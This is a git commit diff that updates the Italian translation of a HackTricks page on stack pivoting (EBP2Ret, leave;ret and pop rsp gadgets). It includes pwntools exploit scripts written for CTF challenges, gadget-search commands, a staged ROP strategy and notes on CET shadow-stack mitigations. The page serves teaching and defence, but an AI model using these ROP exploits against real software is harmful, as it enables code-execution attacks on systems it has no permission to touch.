mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r
This commit is contained in:
parent
73468c61a7
commit
8699af5817
@ -4,59 +4,63 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del registro EBP e della sequenza di istruzioni **`leave; ret`**.
|
||||
Questa tecnica sfrutta la capacità di manipolare il **Base Pointer (EBP/RBP)** per concatenare l'esecuzione di più funzioni attraverso un uso attento del frame pointer e della sequenza di istruzioni **`leave; ret`**.
|
||||
|
||||
Come promemoria, **`leave`** significa fondamentalmente:
|
||||
Come promemoria, su x86/x86-64 **`leave`** è equivalente a:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo controllando lo stack.
|
||||
E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
|
||||
|
||||
> Note
|
||||
> - Su 64 bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
|
||||
> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
|
||||
Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
|
||||
|
||||
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\
|
||||
Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
|
||||
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
|
||||
|
||||
Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
|
||||
|
||||
#### Costruzione dell'Exploit
|
||||
|
||||
Prima devi conoscere un **indirizzo dove puoi scrivere dati / indirizzi arbitrari**. L'ESP punterà qui e **eseguirà il primo `ret`**.
|
||||
Prima devi conoscere un **indirizzo dove puoi scrivere dati/indirizzi arbitrari**. RSP punterà qui e **consumerà il primo `ret`**.
|
||||
|
||||
Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbitrario**. Potresti usare:
|
||||
Poi, devi scegliere l'indirizzo utilizzato da `ret` che **trasferirà l'esecuzione**. Potresti usare:
|
||||
|
||||
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
||||
- L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
|
||||
- L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
|
||||
- Alcuna catena [**ROP**](../rop-return-oriented-programing/index.html)
|
||||
- Un valido [**ONE_GADGET**](https://github.com/david942j/one_gadget) indirizzo.
|
||||
- L'indirizzo di **`system()`** seguito dal ritorno e dagli argomenti appropriati (su x86: `ret` target = `&system`, poi 4 byte spazzatura, poi `&"/bin/sh"`).
|
||||
- L'indirizzo di un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito da shellcode inline.
|
||||
- Una catena [**ROP**](../rop-return-oriented-programing/index.html) in memoria scrivibile.
|
||||
|
||||
Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
|
||||
Ricorda che prima di qualsiasi di questi indirizzi nell'area controllata, deve esserci **spazio per il `pop ebp/rbp`** da `leave` (8B su amd64, 4B su x86). Puoi abusare di questi byte per impostare un **secondo fake EBP** e mantenere il controllo dopo che la prima chiamata restituisce.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
#### Exploit Off-By-One
|
||||
|
||||
C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Viene utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con il **`ret`** deve condividere i primi tre byte con l'EBP, consentendo una manipolazione simile con condizioni più vincolate.\
|
||||
Di solito viene modificato il byte 0x00 per saltare il più lontano possibile.
|
||||
C'è una variante utilizzata quando puoi **modificare solo il byte meno significativo dell'EBP/RBP salvato**. In tal caso, la posizione di memoria che memorizza l'indirizzo a cui saltare con **`ret`** deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che un sovrascrittura di 1 byte possa reindirizzarlo. Di solito, il byte basso (offset 0x00) viene aumentato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
|
||||
|
||||
Inoltre, è comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo ESP punti all'interno del RET SLED e che la catena ROP finale venga eseguita.
|
||||
È anche comune utilizzare un RET sled nello stack e mettere la vera catena ROP alla fine per rendere più probabile che il nuovo RSP punti all'interno dello sled e che la catena ROP finale venga eseguita.
|
||||
|
||||
### **EBP Chaining**
|
||||
### EBP Chaining
|
||||
|
||||
Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
|
||||
Posizionando un indirizzo controllato nello slot `EBP` salvato dello stack e un gadget `leave; ret` in `EIP/RIP`, è possibile **spostare `ESP/RSP` a un indirizzo controllato dall'attaccante**.
|
||||
|
||||
Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
|
||||
Ora `RSP` è controllato e la prossima istruzione è `ret`. Posiziona nella memoria controllata qualcosa come:
|
||||
|
||||
- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`
|
||||
- **`system()`** -> Chiamato da `ret`
|
||||
- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà
|
||||
- **`&("/bin/sh")`**-> Parametro per `system`
|
||||
- `&(next fake EBP)` -> Caricato da `pop ebp/rbp` da `leave`.
|
||||
- `&system()` -> Chiamato da `ret`.
|
||||
- `&(leave;ret)` -> Dopo che `system` termina, sposta RSP al prossimo fake EBP e continua.
|
||||
- `&("/bin/sh")` -> Argomento per `system`.
|
||||
|
||||
Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
|
||||
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
|
||||
|
||||
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
|
||||
Questo è simile a un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), ma più complesso e utile solo in casi limite.
|
||||
|
||||
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
|
||||
Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con un **leak dello stack** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
0x0, # rbp (could be the address of another fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
@ -81,23 +85,24 @@ POP_RSI_R15,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leaked address in RBP
|
||||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
|
||||
|
||||
## EBP potrebbe non essere utilizzato
|
||||
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, il **EBP non controlla mai ESP**, quindi, qualsiasi exploit che funziona controllando EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
|
||||
Questo è dovuto al fatto che i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
|
||||
Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni o con omissione del puntatore di frame, l'**EBP/RBP non controlla mai ESP/RSP**. Pertanto, qualsiasi exploit che funziona controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal puntatore di frame.
|
||||
|
||||
- **Non ottimizzato:**
|
||||
- Non ottimizzato / puntatore di frame utilizzato:
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
- **Ottimizzato:**
|
||||
- Ottimizzato / puntatore del frame omesso:
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
Su amd64 vedrai spesso `pop rbp ; ret` invece di `leave ; ret`, ma se il puntatore di frame è completamente omesso, allora non c'è un epilogo basato su `rbp` attraverso cui effettuare il pivot.
|
||||
|
||||
## Altri modi per controllare RSP
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
### Gadget `pop rsp`
|
||||
|
||||
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per questa sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **`pop rsp` gadget** e c'era una **leak dallo stack**:
|
||||
[**In questa pagina**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puoi trovare un esempio che utilizza questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un **gadget `pop rsp`** e c'era una **leak dallo stack**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -167,7 +174,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<reg>, rsp gadget
|
||||
### xchg <reg>, rsp gadget
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
@ -181,18 +188,65 @@ Controlla la tecnica ret2esp qui:
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti e Altri Esempi
|
||||
### Trovare rapidamente gadget di pivot
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, no relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questo "scrittura eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
|
||||
Usa il tuo cercatore di gadget preferito per cercare classici primitivi di pivot:
|
||||
|
||||
- `leave ; ret` su funzioni o in librerie
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (o `add esp, <imm> ; ret` su x86)
|
||||
|
||||
Esempi:
|
||||
```bash
|
||||
# Ropper
|
||||
ropper --file ./vuln --search "leave; ret"
|
||||
ropper --file ./vuln --search "pop rsp"
|
||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||||
|
||||
# ROPgadget
|
||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
### Classic pivot staging pattern
|
||||
|
||||
Una robusta strategia di pivot utilizzata in molti CTF/exploits:
|
||||
|
||||
1) Utilizzare un piccolo overflow iniziale per chiamare `read`/`recv` in una grande area scrivibile (ad es., `.bss`, heap o memoria RW mappata) e posizionare lì una catena ROP completa.
|
||||
2) Ritornare in un gadget di pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) per spostare RSP in quella regione.
|
||||
3) Continuare con la catena preparata (ad es., leak libc, chiamare `mprotect`, poi `read` shellcode, poi saltare a essa).
|
||||
|
||||
## Modern mitigations that break stack pivoting (CET/Shadow Stack)
|
||||
|
||||
I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Con SHSTK abilitato, `ret` confronta l'indirizzo di ritorno nello stack normale con uno stack shadow protetto dall'hardware; qualsiasi discrepanza solleva un errore di Control-Protection e termina il processo. Pertanto, tecniche come EBP2Ret/leave;ret-based pivots si bloccheranno non appena il primo `ret` viene eseguito da uno stack pivotato.
|
||||
|
||||
- Per informazioni di base e dettagli più approfonditi vedere:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- Controlli rapidi su Linux:
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
|
||||
# 2) Is the CPU/kernel capable?
|
||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||||
|
||||
# 3) Is SHSTK active for this process?
|
||||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||||
|
||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||||
(gdb) checksec
|
||||
```
|
||||
- Note per laboratori/CTF:
|
||||
- Alcune distribuzioni moderne abilitano SHSTK per i binari abilitati CET quando è presente supporto hardware e glibc. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel `nousershstk`, o abilitato selettivamente tramite le impostazioni di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su obiettivi di produzione.
|
||||
- Le tecniche basate su JOP/COOP o SROP potrebbero ancora essere valide su alcuni obiettivi, ma SHSTK rompe specificamente i pivot basati su `ret`.
|
||||
|
||||
- Nota su Windows: Windows 10+ espone la modalità utente e Windows 11 aggiunge la “Protezione dello Stack Forzata dall'Hardware” in modalità kernel basata su stack shadow. I processi compatibili con CET impediscono il pivoting dello stack/ROP a `ret`; gli sviluppatori devono optare per CETCOMPAT e politiche correlate (vedi riferimento).
|
||||
|
||||
## ARM64
|
||||
|
||||
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo dentro `x30`**.
|
||||
In ARM64, i **prologhi e gli epiloghi** delle funzioni **non memorizzano e recuperano il registro SP** nello stack. Inoltre, l'istruzione **`RET`** non restituisce all'indirizzo puntato da SP, ma **all'indirizzo all'interno di `x30`**.
|
||||
|
||||
Pertanto, per impostazione predefinita, abusando semplicemente dell'epilogo **non sarai in grado di controllare il registro SP** sovrascrivendo alcuni dati all'interno dello stack. E anche se riesci a controllare lo SP, avresti comunque bisogno di un modo per **controllare il registro `x30`**.
|
||||
|
||||
@ -213,7 +267,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da un **`SP` controllato** e **`RET`** a esso.
|
||||
> Il modo per eseguire qualcosa di simile al pivoting dello stack in ARM64 sarebbe essere in grado di **controllare lo `SP`** (controllando qualche registro il cui valore viene passato a `SP` o perché per qualche motivo `SP` sta prendendo il suo indirizzo dallo stack e abbiamo un overflow) e poi **abusare dell'epilogo** per caricare il registro **`x30`** da uno **`SP`** controllato e **`RET`** a esso.
|
||||
|
||||
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
|
||||
|
||||
@ -221,4 +275,15 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
|
||||
- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: Protezione dello Stack Forzata dall'Hardware in Modalità Kernel (stack shadow CET su Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user